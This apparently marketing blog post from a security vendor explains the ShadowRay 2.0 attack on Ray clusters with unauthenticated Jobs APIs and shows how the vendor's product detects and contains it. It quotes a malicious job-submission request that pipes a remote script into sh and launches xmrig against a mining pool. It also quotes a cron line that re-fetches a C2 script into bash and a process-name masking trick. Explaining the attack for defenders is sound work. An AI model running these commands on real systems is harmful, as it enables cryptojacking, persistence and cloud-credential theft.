ShadowRay 2.0: Turning Exposed Ray Clusters Into a GPU-Mining Botnet — and How Stealthium Catches It

This article covers ShadowRay 2.0 (CVE-2023-48022): how internet-exposed Ray clusters were turned into a crypto-mining botnet and compromised GPUs. Stealthium reproduced the attack in our own lab and here demonstrate a detection of the complete kill chain end to end on real hardware, from the unauthenticated request to the crypto-miner pinning an NVIDIA L40S.

If you're responsible for GPU time, this is the concerning attacker pattern. If you're thinking GPU attacks are academic or rare - here's a live threat actor campaign which has compromised real companies. Expensive capacity stolen, model weights and datasets taken. And there's no exploit, no malware signature, no privilege escalation, not a thing that traditional tooling would flag.

If your Ray instance is exposed, an attacker can submit a job, which joins the queue alongside legitimate jobs, and provides a pathway for attacker code to run on every node in the cluster. In just minutes, a crypto-miner is pinning your GPUs, and your model weights are being exfiltrated. Next, your cluster is co-opted into the attack, scanning the internet for the next victim. All the while, your monitoring just report a training job as running.

In the Stealthium lab we reproduced it end to end against a real Ray cluster on a real GPU, and watched Stealthium catch every stage. Let's get started.

A few notes to start for those interested:

How ShadowRay Operates

ShadowRay 2.0 starts with a "reachable" precondition then unfolds in three phases. They all include Ray functioning as intended, making it an incredibly stealthy attack. There are distinct traces to be found, though only if you are watching the API layer, the process layer, the GPU, and the network at the same time, and correlating them to both workload and unauthenticated request. (We will show you what each layer sees, and how Stealthium catches it all later.)

First, foundational to this attack, is understanding how Ray's Jobs API accepts and runs work, and why "reachable" here essentially becomes "authorized".

Ray being Reachable

Ray exposes a dashboard (default port 8265) with a REST Jobs API. A client POSTs a job to /api/jobs/ with a JSON body; the field that matters is entrypoint, a string Ray runs as a shell command on the cluster to start the job. Once entrypoint runs, everything downstream will look legitimate.

This is the intended way to submit work, and if the dashboard is reachable, entrypoint is accessible. There is no authentication in front of it. Ray's threat model assumes the dashboard is only reachable from a trusted network. In practice, clusters land on 0.0.0.0, behind a misconfigured ingress, or on a cloud VM with an open security group.

Ray's architecture is a process factory: the raylet supervises worker processes, and workers routinely import libraries and spawn child processes to do real work. An attacker's subprocess.run("curl … | bash") resembles a benign data-loading job shelling out to a tool.

Phase 1 — Initial Access: An Unauthenticated Submission

Given the above, Initial Access is just an attacker spraying a single request to a range of internet exposed instances.

It starts with some basic reconnaissance: entrypoint runs uname -a and id, enumerates your GPUs via ray.cluster_resources(), and calls back to an out-of-band collector (*.oast.fun, interact.sh). Our attacker now knows which targets are live, and has a potential scope of what they can achieve. From here, the attacker just has to choose what to run.

Phase 2 — Execution and Impact: Resource Hijacking & Data Exfiltration

POST /api/jobs/ HTTP/1.1
Host: your-cluster:8265
Content-Type: application/json

{"entrypoint": "curl http://198.51.100.7/x.sh | sh; xmrig -o stratum+tcp://pool.supportxmr.com:3333 -u <wallet>"}

The submitted code executes on a worker, inheriting that pod's full identity: its cgroup, its cloud service-account token, and critically from our perspective - its GPU entitlement. ShadowRay 2.0's payload, staged from a throwaway repo, kicks off the following:

It Starts Mining: xmrig / Rigel (popular miners) pointed at pool.supportxmr.com, moneroocean.stream, or a ZANO pool, using the compute the pod has access to, CPU and GPU alike.

It Starts Stealing: Cloud credentials and tokens straight out of the worker's environment (AWS_*, service-account tokens), plus model weights and datasets reachable from the pod.

Phase 3 — Persistent, Stealthy & Spreading: False Names & Next Targets

From the tools already run:

It Persists: A cron entry re-pulls the C2 script every 15 minutes: */15 * * * * wget -O - <c2>/mon.sh | bash. Take down one repo and a new one is live within hours.

It Masks Itself: It rewrites its own process name to look like a kernel thread: echo "kworker/0:0" > /proc/$$/comm. To a process-name-based tool, the miner now reads as a benign kernel worker. It drops binaries with a leading dot (.python3.6) and installs systemd units named dns and health-monitor.

It Throttles: It's mining on GPU's stays hidden, not even showing up in Ray's own dashboard telemetry, and CPU mining is capped near 60% so the node never looks obviously pegged.

It Targets: Your cluster then works on behalf of the attacker. It abuses Ray's own scheduler, enumerating ray.nodes() and re-submitting via NodeAffinitySchedulingStrategy, so a single compromised dashboard makes the whole cluster a self-propagating worm that scans for and infects other exposed clusters.

Of the above - the masking should be the most telling, if you have the instrumentation to see it. A genuine kernel thread would never executes a userland binary. A process inside a Ray pod wearing the name [kworker/0:0] that actually exec'd /tmp/.python3.6 is clearly not a kernel worker. As always, watch the hands (behavior), not the mouth (process name!)

What We Caught, Live

To show this end to end, in a lab we stood up a Ray cluster with a GPU (NVIDIA L40S), exposed its dashboard, and ran the ShadowRay 2.0 exploit chain against it while Stealthium watched from the kernel.

All seen: an unauthenticated job submission to the Jobs API carrying a malicious entrypoint, a Ray worker importing the primitives for shelling out (socket, ctypes, subprocess, pty), a cascade of spawned shells - including env and grep reaching straight for AWS_* credentials - and a proof-of-work CUDA kernel pinning the GPU. Every event is real on-host behavior captured by the agent.

It ties every event to the one workload by its cgroup, and as the stages line up within seconds it assembles them into a single, escalating case. The result is one critical alert - ShadowRay exploitation chain (Ray Jobs API RCE):

Detected abuse of the Ray AI framework's unauthenticated Jobs API (CVE-2023-48022, ShadowRay / ShadowRay 2.0). The job submission carried no Authorization header (Ray has no auth by default). The submitted command matched known malicious patterns. Observed stages: ray_job_submit, ray_job_submit_command, ray_worker_import, ray_worker_spawn, mining_pool_connect, ray_gpu_compute. Correlated evidence score: 108 across 16 timeline events.

The Stealthium console with the alert-detail panel open, showing the critical ShadowRay exploitation chain alert and the start of its reconstructed event timeline

The Stealthium console with the alert-detail panel open.

For those chasing evidence, the alert also contains the full reconstructed timeline, that no single-layer tool can assemble: observability from GPU to pod, to network in and outbounds. Important to note: credential values are stripped on the host before an event leaves it, so no risk of exposure for this visibility.

Each entry is a distinct piece of kernel telemetry (an HTTP body read off the socket, a Python import, an execve with full argv, an outbound connect, a GPU-utilization sample), and every one is stitched to the same Ray workload:

The alert's event timeline: the unauthenticated submission and the malicious entrypoint at the top, an elided section standing in for the intervening worker-import and shell-spawn stages, then the tail with env and grep hunting AWS credentials, the bash payload shell, the mining-pool connection, and the Ray-descended process using the GPU

The alert's event timeline: Stealthium connects the unauthenticated submission and the malicious entrypoint (matching pipe_to_shell,miner,cloud_cred_theft,payload_fetch) at the top; a … eliding the intervening worker-import and shell-spawn stages; then the tail - env/grep hunting AWS_SECRET_ACCESS_KEY, the bash payload shell, the mining-pool connection, and the Ray-descended process using the GPU.

Every event adds a timeline stage and raises the score, escalating to critical as the chain assembles in real time. Beyond any single line, it's the sum of the whole that is the attack.

However, Stealthium also fired a second critical alert based purely on GPU telemetry:

The second alert, Unauthorized GPU Cryptomining Detected, responding purely to the raw GPU signature of proof-of-work: a GPU pinned at sustained high utilization by an unapproved process repeatedly relaunching a single CUDA hashing kernel

The second alert (with its own detector) responds purely to the raw GPU signature of proof-of-work. The Unauthorized GPU Cryptomining Detected alert (also critical) reads:

GPU 00000000:06:00.0 has been pinned at sustained high utilization across consecutive samples by an unapproved process (PID=29920, dominating the compute engine) repeatedly relaunching a single CUDA kernel "mine_hash(unsigned long*, unsigned long, int)" at a wide grid - a proof-of-work hashing pattern consistent with unauthorized cryptomining.

Two detections from two independent angles, both seen by Stealthium: the correlated API-abuse chain and the bare GPU signature - both finding the same process, the same workload. Crucially, neither detection required a payload signature. They both fired on behavior, exactly what is required to catch the next variant, iteration or similar attack.

Deep Visibility

By instrumenting the host kernel directly, Stealthium sees across four layers:

Application layer: It captures HTTP at the socket layer (tcp_sendmsg/tcp_recvmsg), so it reads the plaintext job submission on any port - request line, headers, and body - even for traffic your appliances never see. For the Authorization header it records only whether one was present, never the token; that single bit - "was this request authenticated?" - is all the detector needs.

Process layer: It captures every exec (sched_process_exec) with full argv, environment, and parent chain, and every Python import, so a Ray-descended shell or a subprocess import is attributable to the job that spawned it.

GPU layer: It reads per-process GPU utilization and CUDA kernel-launch geometry, so a miner pinning a GPU is caught regardless of Ray's dashboard showing 0%.

Network layer: It captures outbound connections and DNS queries, so the pool lookup and the stratum connection are seen at the source.

While the above is specific - Stealthium forensic visibility of AI accelerated compute is built to hunt for attacker behavior, rather than singular attacker payloads. For ShadowRay and other attacks targeting this Ray vulnerability, the API abuse and behavioral join will always catch this pattern of attack.

Beyond Detection: Containment

The moment a chain like this crosses critical, Stealthium can respond. Surgical containment designed to eliminate threats while being non-invasive to the greater environment.

In this example, because every event is already tied to one workload by its cgroup, Stealthium acts on that pod and that GPU, never the neighbor sharing the node. There is no reboot required, so no impact on any other co-tenants potentially sharing the GPU capacity:

Kill the offending process: The miner PID the detector flagged is terminated at the host, below anything the payload can do to hide. The attempted name masking doesn't save it - Stealthium spots the deception and kills the workload.

Sever the pod from the GPU: Revoke /dev/nvidia* from the compromised container and freeze its cgroup. The workload is cut off from the accelerator instantly, while every other tenant keeps running. The exploit's whole purpose, your GPU, is simply taken away from it.

When the situation warrants it:

Isolate and reclaim the affected GPU: Stealthium can evict every process holding the card, then wipes its VRAM. Nothing the intruder staged, whether keys, model weights, or payload, survives for the next tenant to read back. The GPU comes back clean and unrestricted, with no datacenter trip and no host reboot.

Don't just detect - respond. Each of these is one click from the alert itself.

For those keen on automating responses per policy, as the trigger is a scored, workload-attributed alert, the same actions can be prompted straight from the detection. The window between an unauthenticated request landing and the miner being dead, GPU back in your hands, is seconds - not the days (weeks?) it takes to notice your GPUs capacity is being abused.

The Bigger Picture for AI Infrastructure

ShadowRay is just one live threat campaign against one (disputedly vulnerable) framework. However, it provides insight into the developing threat landscape facing AI factories and accelerators.

The same telemetry Stealthium uses to catch this particular attack: GPU usage and network egress are the same telemetry that surfaces other attack classes, including: unauthenticated model-serving endpoints (Triton, vLLM, KServe), exposed notebook and pipeline servers, cross-tenant GPU side-channels, and model-weight exfiltration.

The reason your current stack cannot see these is architectural. Without visibility into the GPU, security teams are unable to see the unauthenticated request and the process it spawns and the GPU it lights up and the pool it dials, as one event, on one workload. If your security revolves around your infrastructure above the driver (ie container, VMs), you will never connect the dots on whats running below the surface on your GPUs. From their vantage point, a training job and a cluster takeover are indistinguishable.

AI is only as secure and trustworthy as the layer it runs on, and for many that is currently invisible and indefensible. Stealthium exists to make AI Accelerated Compute observable, secure, and controlled.

GPU compute is the most valuable, most power-hungry, least-monitored layer you operate, and, as evidenced here, is now the layer attackers are actively learning to monetize, either by resource hijacking or data exfiltration. Observable, secure, and controllable AI infrastructure is not a nice-to-have. Runtime security is the compensating control for organisations building on accelerated compute.

See Stealthium in action. Book a demo.

Original research attribution: CVE-2023-48022 (disputed). ShadowRay was first reported by Oligo Security in 2024; the ShadowRay 2.0 campaign (self-propagating GPU-mining botnet, cloud-credential theft, and DDoS) was documented by Oligo in November 2025.